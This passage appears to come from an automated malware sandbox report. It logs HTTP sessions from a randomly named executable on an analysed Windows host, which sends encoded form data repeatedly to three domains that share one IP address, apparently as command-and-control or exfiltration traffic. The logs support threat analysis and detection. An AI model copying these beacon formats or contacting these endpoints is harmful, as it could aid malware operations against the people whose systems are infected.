4e 59 67 78 79 38 45 67 46 2f 63 52 49 74 57 55 50 4d 57 5a 4a 4b 47 70 71 4c 36 57 72 59 6c 6d 68 64 Data Ascii: pP=gGBoLLW5NOPpS/HSql0E4Vxez5KDZ7Zd52bS2UuLx7QeNeGJDt2mE9MO7RLK7SBf1+INeFfIKJSVIgiKvQquZwsPrNi/xw+Hu3UVOkarmsfwUdgMAc33Rr6WA3HEVNJdQSiYatKqGbSEHhdRUjxOOtNe/KNYgxy8EgF/cRItWUPMWZJKGpqL6WrYlmhd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49723	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:24:49.547384977 CET	783	OUT	POST /g7n9/ HTTP/1.1 Host: www.ninesquare.games Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 215 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.ninesquare.games Referer: http://www.ninesquare.games/g7n9/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 67 47 42 6f 4c 4c 57 35 4e 4f 50 70 53 65 58 53 6f 45 30 45 77 56 78 64 32 35 4b 44 53 62 5a 52 35 32 6e 53 32 52 58 4d 78 4a 30 65 55 2b 32 4a 52 73 32 6d 46 39 4d 4f 6a 42 4b 41 34 69 41 52 31 2f 30 6a 65 45 6a 49 4b 4a 57 56 49 69 36 4b 75 6a 43 74 44 41 73 42 67 74 6a 35 75 67 2b 48 75 33 55 56 4f 6b 65 53 6d 6f 4c 77 56 6f 6f 4d 47 35 44 6f 4f 62 36 56 51 6e 48 45 65 74 4a 5a 51 53 69 75 61 6f 69 41 47 65 57 45 48 6a 31 52 55 51 70 42 56 39 4e 69 31 71 4d 38 71 55 58 4e 4a 78 31 31 53 43 55 57 45 58 37 61 59 59 70 55 58 62 6a 51 76 42 72 2f 69 42 6f 31 59 47 54 6d 70 46 48 33 68 6a 6d 49 64 45 70 51 53 4a 6f 2f 70 41 3d 3d Data Ascii: pP=gGBoLLW5NOPpSeXSoE0EwVxd25KDSbZR52nS2RXMxJ0eU+2JRs2mF9MOjBKA4iAR1/0jeEjIKJWVIi6KujCtDAsBgtj5ug+Hu3UVOkeSmoLwVooMG5DoOb6VQnHEetJZQSiuaoiAGeWEHj1RUQpBV9Ni1qM8qUXNJx11SCUWEX7aYYpUXbjQvBr/iBo1YGTmpFH3hjmIdEpQSJo/pA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49724	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:24:52.096031904 CET	1796	OUT	POST /g7n9/ HTTP/1.1 Host: www.ninesquare.games Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.ninesquare.games Referer: http://www.ninesquare.games/g7n9/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 67 47 42 6f 4c 4c 57 35 4e 4f 50 70 53 65 58 53 6f 45 30 45 77 56 78 64 32 35 4b 44 53 62 5a 52 35 32 6e 53 32 52 58 4d 78 4a 38 65 49 64 2b 4a 44 50 65 6d 55 4e 4d 4f 39 52 4b 44 34 69 42 4e 31 2b 63 76 65 45 76 59 4b 4c 2b 56 4c 48 75 4b 2f 69 43 74 4e 77 73 42 76 4e 6a 70 78 77 2b 6f 75 33 45 52 4f 6b 75 53 6d 6f 4c 77 56 70 59 4d 46 73 33 6f 49 62 36 57 41 33 48 41 56 4e 4a 78 51 53 71 2b 61 6f 75 36 47 71 69 45 48 44 6c 52 53 79 78 42 5a 39 4e 61 32 71 4d 6b 71 55 54 57 4a 79 42 35 53 42 49 38 45 58 44 61 62 50 70 4b 4c 34 57 4a 38 41 62 7a 69 67 45 39 56 78 48 5a 75 58 2f 2b 30 41 36 5a 4c 6b 30 79 53 37 45 32 36 46 55 32 38 52 4d 31 73 34 66 63 4c 55 48 45 43 61 6f 31 46 59 6d 42 45 74 39 30 66 6c 7a 53 63 55 32 43 6a 75 34 42 30 4e 53 38 43 2f 79 38 58 67 51 52 4f 43 79 75 7a 61 38 33 51 72 67 76 49 35 77 32 71 53 2f 32 4b 74 43 44 57 30 64 63 43 73 4d 58 76 38 38 64 52 66 6e 76 44 33 30 55 2b 4e 56 6a 4c 74 36 77 4f 79 2b 74 64 35 44 73 58 70 30 4b 79 4e 6f 52 76 6c 46 46 43 47 71 [TRUNCATED] Data Ascii: pP=gGBoLLW5NOPpSeXSoE0EwVxd25KDSbZR52nS2RXMxJ8eId+JDPemUNMO9RKD4iBN1+cveEvYKL+VLHuK/iCtNwsBvNjpxw+ou3EROkuSmoLwVpYMFs3oIb6WA3HAVNJxQSq+aou6GqiEHDlRSyxBZ9Na2qMkqUTWJyB5SBI8EXDabPpKL4WJ8AbzigE9VxHZuX/+0A6ZLk0yS7E26FU28RM1s4fcLUHECao1FYmBEt90flzScU2Cju4B0NS8C/y8XgQROCyuza83QrgvI5w2qS/2KtCDW0dcCsMXv88dRfnvD30U+NVjLt6wOy+td5DsXp0KyNoRvlFFCGqmCfyEiQXzrSaXfMWL9OU6vXMQ4auWnkE8wtdenEZi3oo8VqkZrySNBHLZLTXeNxRH+NJkKT8pYoaR6e3kphRMvxpSqovqqidw7BiQCz8HvYGZj/4KIjx+ZieFYJdwmwCrZ71yH56EVJKjiqxYwiMluW2mK7JgkOj3mLVBezqo/nysG6LKZahejrvGKMHCjlBreOXoRFRoHPV6TMfCtTEgi3rc1JXyOYDoI/MvOAj73DqULKyeKWtGvj0ZIACYM38ww9nfS4fwYOO5w2U1z0wiOg7vM/ph2t3L2XniVI1iOudJMBABEQLy2IBMtd1r1oslYX9Qwy+Ma2XdAttTLXaR9G0gF4A1QiX9Tx8GkScPwZWwv8n2ZvzSeZEvlesq1eQ2NOTkBbkvK3kiuMcl3SzxpbYaV7tbcWwmbcVZdd1rI5x76fe8N0kDntGZUm5x+NqVsPCGRTGtcWvQMVzypKDtweWtDebXilslOTDmqNOKIAwfRgJLYt/9UM0wtHRokB7os9OqVuHAV/dnfkX2/bMmDWkkIXW/psWv1e0kCgCq3J27PtjtuwTASVlHhbaSI+O8VpQ3oZRnKNSkrljLYP+gbP5FjU3hJ/vMXhks5ZOyMuKumPxSRpaGu62fCRu54SbKup1Q6uDPTfLLCOtsqg0NxSS0pIyWxM2wJ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49725	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:24:54.630412102 CET	492	OUT	GET /g7n9/?pP=tEpII7mNQvDpUYHRp1Imt3Ai8Z2daLocu0u0zFD4hZYidtSVe+a4H5ULhmiF211nuMw1QFTOTrSwIhKto0WIOxAfod6tyHKhsxJNfUmHw8PuVagvUw==&UJO=A6MH4FUp HTTP/1.1 Host: www.ninesquare.games Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Nov 6, 2024 15:24:55.249260902 CET	387	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 06 Nov 2024 14:24:55 GMT Content-Type: text/html Content-Length: 247 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 70 50 3d 74 45 70 49 49 37 6d 4e 51 76 44 70 55 59 48 52 70 31 49 6d 74 33 41 69 38 5a 32 64 61 4c 6f 63 75 30 75 30 7a 46 44 34 68 5a 59 69 64 74 53 56 65 2b 61 34 48 35 55 4c 68 6d 69 46 32 31 31 6e 75 4d 77 31 51 46 54 4f 54 72 53 77 49 68 4b 74 6f 30 57 49 4f 78 41 66 6f 64 36 74 79 48 4b 68 73 78 4a 4e 66 55 6d 48 77 38 50 75 56 61 67 76 55 77 3d 3d 26 55 4a 4f 3d 41 36 4d 48 34 46 55 70 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?pP=tEpII7mNQvDpUYHRp1Imt3Ai8Z2daLocu0u0zFD4hZYidtSVe+a4H5ULhmiF211nuMw1QFTOTrSwIhKto0WIOxAfod6tyHKhsxJNfUmHw8PuVagvUw==&UJO=A6MH4FUp"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49726	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:00.540606976 CET	750	OUT	POST /6d0c/ HTTP/1.1 Host: www.capecuvee.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 191 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.capecuvee.net Referer: http://www.capecuvee.net/6d0c/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 43 70 33 57 69 53 59 35 44 67 68 67 72 50 2b 37 68 51 6c 39 35 33 48 72 36 66 47 68 6b 30 55 54 61 67 2f 4b 65 72 35 6a 30 47 45 6c 37 6a 62 2b 4d 4c 77 67 67 32 77 4f 72 76 4c 55 36 69 6f 68 46 6b 6a 69 55 47 45 67 50 4b 5a 63 39 74 6b 6b 61 34 57 52 47 67 77 49 4b 31 69 68 5a 35 56 64 4a 71 7a 43 4b 54 6c 57 4e 38 77 70 6f 61 48 53 2f 63 4b 65 6b 2b 7a 46 78 50 79 68 74 6a 79 55 58 42 53 79 6a 64 50 4d 61 61 43 71 55 33 62 2f 71 78 56 33 2f 67 38 71 2b 31 5a 6b 67 64 49 63 71 68 58 78 4a 75 57 2b 6b 4d 33 51 35 63 57 61 4d 4d 41 41 6a 35 45 7a 6e 4c 35 6a Data Ascii: pP=Cp3WiSY5DghgrP+7hQl953Hr6fGhk0UTag/Ker5j0GEl7jb+MLwgg2wOrvLU6iohFkjiUGEgPKZc9tkka4WRGgwIK1ihZ5VdJqzCKTlWN8wpoaHS/cKek+zFxPyhtjyUXBSyjdPMaaCqU3b/qxV3/g8q+1ZkgdIcqhXxJuW+kM3Q5cWaMMAAj5EznL5j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49727	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:03.295114040 CET	774	OUT	POST /6d0c/ HTTP/1.1 Host: www.capecuvee.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 215 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.capecuvee.net Referer: http://www.capecuvee.net/6d0c/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 43 70 33 57 69 53 59 35 44 67 68 67 72 72 36 37 67 33 78 39 73 6e 48 30 32 2f 47 68 76 55 56 55 61 67 7a 4b 65 75 59 6b 30 30 51 6c 37 43 72 2b 44 75 4d 67 6e 32 77 4f 7a 2f 4b 65 30 43 70 74 46 6b 76 41 55 48 34 67 50 4f 35 63 39 73 55 6b 50 5a 57 65 48 77 77 4f 47 56 69 6e 55 5a 56 64 4a 71 7a 43 4b 54 77 35 4e 38 34 70 30 36 33 53 77 66 53 5a 36 75 7a 47 6c 66 79 68 70 6a 79 51 58 42 54 58 6a 63 54 79 61 59 4b 71 55 7a 66 2f 72 67 56 34 32 67 38 73 6a 6c 5a 36 72 76 64 4d 6b 7a 58 4f 55 59 79 68 36 66 65 78 7a 64 32 45 64 2b 4a 62 32 75 45 55 67 73 77 4c 42 72 58 61 6d 31 2b 65 62 72 56 4b 66 41 77 65 44 52 54 50 44 41 3d 3d Data Ascii: pP=Cp3WiSY5Dghgrr67g3x9snH02/GhvUVUagzKeuYk00Ql7Cr+DuMgn2wOz/Ke0CptFkvAUH4gPO5c9sUkPZWeHwwOGVinUZVdJqzCKTw5N84p063SwfSZ6uzGlfyhpjyQXBTXjcTyaYKqUzf/rgV42g8sjlZ6rvdMkzXOUYyh6fexzd2Ed+Jb2uEUgswLBrXam1+ebrVKfAweDRTPDA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49728	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:05.842241049 CET	1787	OUT	POST /6d0c/ HTTP/1.1 Host: www.capecuvee.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.capecuvee.net Referer: http://www.capecuvee.net/6d0c/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 43 70 33 57 69 53 59 35 44 67 68 67 72 72 36 37 67 33 78 39 73 6e 48 30 32 2f 47 68 76 55 56 55 61 67 7a 4b 65 75 59 6b 30 31 6f 6c 37 55 33 2b 43 4a 59 67 6d 32 77 4f 74 76 4b 64 30 43 6f 33 46 6b 48 45 55 48 31 58 50 4d 42 63 39 4b 49 6b 65 4c 2b 65 4d 77 77 4f 5a 6c 69 6d 5a 35 55 48 4a 71 44 65 4b 54 67 35 4e 38 34 70 30 35 76 53 30 4d 4b 5a 34 75 7a 46 78 50 79 74 74 6a 79 30 58 42 4b 71 6a 63 57 48 61 73 47 71 58 54 50 2f 70 53 4e 34 35 67 38 75 69 6c 59 70 72 76 41 57 6b 7a 4c 6f 55 63 36 66 36 66 32 78 79 61 44 75 47 36 56 68 73 63 45 61 76 64 77 4b 49 39 79 2b 67 47 37 4b 43 4f 52 59 50 68 46 4d 4f 53 79 65 58 4c 64 4a 72 48 48 4b 4f 58 72 55 39 67 30 63 6a 53 46 5a 35 55 30 55 44 36 6b 73 36 4d 41 77 32 43 35 4e 4b 7a 64 32 67 55 78 30 51 54 57 50 67 4b 65 6b 4e 75 4b 69 6d 2b 2f 73 72 72 48 46 68 31 66 48 39 76 44 63 5a 52 6b 49 4c 4b 47 68 2f 48 4f 51 59 70 78 6b 62 7a 74 65 38 30 4f 52 56 53 6c 49 70 35 54 77 38 39 6c 5a 43 61 66 67 46 78 76 38 62 66 47 47 42 34 73 51 75 76 70 [TRUNCATED] Data Ascii: pP=Cp3WiSY5Dghgrr67g3x9snH02/GhvUVUagzKeuYk01ol7U3+CJYgm2wOtvKd0Co3FkHEUH1XPMBc9KIkeL+eMwwOZlimZ5UHJqDeKTg5N84p05vS0MKZ4uzFxPyttjy0XBKqjcWHasGqXTP/pSN45g8uilYprvAWkzLoUc6f6f2xyaDuG6VhscEavdwKI9y+gG7KCORYPhFMOSyeXLdJrHHKOXrU9g0cjSFZ5U0UD6ks6MAw2C5NKzd2gUx0QTWPgKekNuKim+/srrHFh1fH9vDcZRkILKGh/HOQYpxkbzte80ORVSlIp5Tw89lZCafgFxv8bfGGB4sQuvpK08G3BF45L6LQYEtIu86Sy9mZu9d3oKwaXceCpsTOOMfq9m6aY8727TqS3sMINhR18JsgeJFPV2vpdf8+4dY6FL7T23EsAtpQ4pgpK2rjIw6vv78Gt1+p6gcRAXzSFOwz86tXIO17hexxEY2I0FRj0vCLxshDArQatBH9CxtsCiCwJQiv3LNFSARzFgS8/rx3uUpKGlY/2NKwoIK5xdKnv12K2R3MWv5i4TiJJgs9s/y2xcZzqdY4XPzenF+rr8Qifhvt6imtsEl599tW3TfKxCvML7rd7BnkfdgawhBqeuqyD71eU35NFuV8E81rNPgpmUVtTM17gDONkCTC+E6fQZJ9Tpo3DFOyzuiACQErw7nOQbj2rUhflE01aVChN5ZVi6h6Pi1ZqAHJqd6/pMjo8icMggMM8eXD1mNHGm1oftDQ/t3xZyBOoF8c6kNRjLmagfxk5l7NhbTs05af++QpiImFReTScu1EhKL5pv8EkvA/asiS7iZXIzy8Xen3lkPQPYlhrJac/DGocaDBVQoFTYVWEhYRyM76YCv4T70Mee/NaD2SzNQ3tGv94ouTePi9X3oO2Uau5gdVjsFkqI/yBox+dVM3R7AezpB1c8BmgV4PsXfOeS9atYQ7pMixq3h33eVuz1XeRwLtw8ZSOQWudUMk8b/OAn9+/ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49729	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:08.384329081 CET	489	OUT	GET /6d0c/?pP=Prf2hkUDRCNRkbO6h1ZvuSCWzJC3nAUQNw+uVaJXhnNhpjXmKYMu0gYsz+KbwUAYDmjdU3Z9SN0FqM88eMKFHxU1C2mZD7ZZKveERTUpO74f3LPupQ==&UJO=A6MH4FUp HTTP/1.1 Host: www.capecuvee.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Nov 6, 2024 15:25:09.043984890 CET	387	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 06 Nov 2024 14:25:08 GMT Content-Type: text/html Content-Length: 247 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 70 50 3d 50 72 66 32 68 6b 55 44 52 43 4e 52 6b 62 4f 36 68 31 5a 76 75 53 43 57 7a 4a 43 33 6e 41 55 51 4e 77 2b 75 56 61 4a 58 68 6e 4e 68 70 6a 58 6d 4b 59 4d 75 30 67 59 73 7a 2b 4b 62 77 55 41 59 44 6d 6a 64 55 33 5a 39 53 4e 30 46 71 4d 38 38 65 4d 4b 46 48 78 55 31 43 32 6d 5a 44 37 5a 5a 4b 76 65 45 52 54 55 70 4f 37 34 66 33 4c 50 75 70 51 3d 3d 26 55 4a 4f 3d 41 36 4d 48 34 46 55 70 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?pP=Prf2hkUDRCNRkbO6h1ZvuSCWzJC3nAUQNw+uVaJXhnNhpjXmKYMu0gYsz+KbwUAYDmjdU3Z9SN0FqM88eMKFHxU1C2mZD7ZZKveERTUpO74f3LPupQ==&UJO=A6MH4FUp"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49730	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:14.246622086 CET	756	OUT	POST /1z60/ HTTP/1.1 Host: www.arcare.partners Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 191 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.arcare.partners Referer: http://www.arcare.partners/1z60/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 2f 42 56 2b 49 62 41 30 68 33 74 57 72 6d 65 72 2f 58 72 6e 32 4a 68 71 4d 48 47 78 43 4e 2b 2b 4e 6d 68 56 63 35 70 71 54 49 79 45 54 75 34 6e 61 35 41 42 41 37 53 69 75 57 69 48 62 68 4e 66 48 52 30 4b 48 5a 5a 45 57 69 48 4d 75 56 35 34 69 2f 4a 62 35 71 31 44 70 57 4d 79 4b 61 43 55 48 4c 30 67 73 6e 75 4f 4b 30 61 6c 79 53 4c 52 67 4a 54 75 63 46 38 30 7a 2f 54 43 6b 7a 48 33 73 56 54 54 2b 72 54 31 31 63 4c 65 62 55 31 43 53 57 41 55 4c 6f 36 45 71 59 43 53 76 32 4b 77 75 50 74 33 61 56 78 64 68 35 6a 35 48 63 6f 4e 67 4b 58 6a 38 7a 4a 6b 4b 76 52 67 Data Ascii: pP=/BV+IbA0h3tWrmer/Xrn2JhqMHGxCN++NmhVc5pqTIyETu4na5ABA7SiuWiHbhNfHR0KHZZEWiHMuV54i/Jb5q1DpWMyKaCUHL0gsnuOK0alySLRgJTucF80z/TCkzH3sVTT+rT11cLebU1CSWAULo6EqYCSv2KwuPt3aVxdh5j5HcoNgKXj8zJkKvRg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49731	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:16.796670914 CET	780	OUT	POST /1z60/ HTTP/1.1 Host: www.arcare.partners Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 215 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.arcare.partners Referer: http://www.arcare.partners/1z60/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 2f 42 56 2b 49 62 41 30 68 33 74 57 74 43 61 72 35 30 54 6e 6d 5a 68 74 41 6e 47 78 49 74 2b 6c 4e 6d 6c 56 63 34 74 36 54 36 47 45 54 4c 55 6e 62 38 30 42 4e 62 53 69 6d 32 69 47 44 42 4d 54 48 57 39 31 48 59 31 45 57 69 54 4d 75 56 4a 34 33 63 68 61 32 61 31 42 79 6d 4d 73 58 4b 43 55 48 4c 30 67 73 6e 72 72 4b 77 4f 6c 79 43 37 52 69 72 37 74 43 56 38 31 6b 50 54 43 67 7a 48 7a 73 56 54 4c 2b 71 50 54 31 65 7a 65 62 51 35 43 54 48 41 62 65 59 36 43 33 49 44 63 68 43 54 63 6f 65 74 4f 5a 54 52 39 38 61 4c 57 45 39 49 54 78 34 65 34 70 6b 4a 44 4e 49 59 49 33 79 48 34 63 51 73 6d 6d 57 56 39 4c 59 36 74 45 71 33 68 66 67 3d 3d Data Ascii: pP=/BV+IbA0h3tWtCar50TnmZhtAnGxIt+lNmlVc4t6T6GETLUnb80BNbSim2iGDBMTHW91HY1EWiTMuVJ43cha2a1BymMsXKCUHL0gsnrrKwOlyC7Rir7tCV81kPTCgzHzsVTL+qPT1ezebQ5CTHAbeY6C3IDchCTcoetOZTR98aLWE9ITx4e4pkJDNIYI3yH4cQsmmWV9LY6tEq3hfg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49732	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:25:19.449297905 CET	1793	OUT	POST /1z60/ HTTP/1.1 Host: www.arcare.partners Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.arcare.partners Referer: http://www.arcare.partners/1z60/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 2f 42 56 2b 49 62 41 30 68 33 74 57 74 43 61 72 35 30 54 6e 6d 5a 68 74 41 6e 47 78 49 74 2b 6c 4e 6d 6c 56 63 34 74 36 54 36 2b 45 55 39 41 6e 61 62 6f 42 43 37 53 69 6f 57 69 44 44 42 4d 65 48 58 5a 35 48 59 70 4c 57 68 72 4d 68 57 78 34 6d 4a 56 61 68 71 31 42 74 57 4d 78 4b 61 44 4a 48 4b 59 73 73 6e 37 72 4b 77 4f 6c 79 41 7a 52 78 5a 54 74 41 56 38 30 7a 2f 54 65 6b 7a 47 6b 73 56 4c 78 2b 70 6a 6c 30 74 37 65 59 77 70 43 51 31 34 62 43 49 36 41 30 49 43 42 68 48 4c 44 6f 65 78 30 5a 58 52 44 38 61 6a 57 56 4a 35 76 31 4a 72 6b 33 6d 34 2b 4c 66 45 79 77 47 4c 4d 61 30 49 75 6e 30 70 54 53 6f 2f 66 50 62 6d 59 4e 65 42 70 47 59 36 2f 59 36 37 46 54 6d 56 6e 69 4f 6c 69 41 55 74 58 2b 72 5a 48 54 69 67 78 45 76 39 32 6b 52 4c 46 54 70 4c 55 67 56 56 36 32 63 52 61 54 32 72 66 64 65 4b 6d 6e 47 4d 37 75 30 44 35 6f 44 53 63 41 30 55 68 6a 2f 62 38 56 7a 35 77 4b 6c 65 2f 6c 4a 61 34 58 65 63 45 53 4a 2f 30 54 65 57 7a 4c 72 46 70 35 62 6b 53 75 57 66 6b 68 75 67 70 79 71 6e 57 55 70 66 [TRUNCATED] Data Ascii: pP=/BV+IbA0h3tWtCar50TnmZhtAnGxIt+lNmlVc4t6T6+EU9AnaboBC7SioWiDDBMeHXZ5HYpLWhrMhWx4mJVahq1BtWMxKaDJHKYssn7rKwOlyAzRxZTtAV80z/TekzGksVLx+pjl0t7eYwpCQ14bCI6A0ICBhHLDoex0ZXRD8ajWVJ5v1Jrk3m4+LfEywGLMa0Iun0pTSo/fPbmYNeBpGY6/Y67FTmVniOliAUtX+rZHTigxEv92kRLFTpLUgVV62cRaT2rfdeKmnGM7u0D5oDScA0Uhj/b8Vz5wKle/lJa4XecESJ/0TeWzLrFp5bkSuWfkhugpyqnWUpfatPBnqoqkGloCl5fKsymMg7rnrQN8OWJUuybWpALxB+mljtPOAaDX2Vp16dX4gKFQv7/qzHpQ1tcCGxSIJQ+PkxrUWnUe7R80VH7oHeeRpm6wGC1gTK8gGQcitpuKOoYlFhYWqZoNda0LVCndOGokb2iQHd2CAV6qBfTAS9Uzef2hvHISsOeHkiS+eOlENjdlI7MUW/NGzN1zFojLquzkw5RgcCuq14AJvvXktJlN7goreiHL5Tk1mToP/XC/iznwdzIfWjy96XDOLDRljBMj2hMvRQUJ+9//tMrBMX0lMU5FOU2ji5CetakznPz2+ObJKB5yOYPeLItJXy5V5ReSqqBvN8H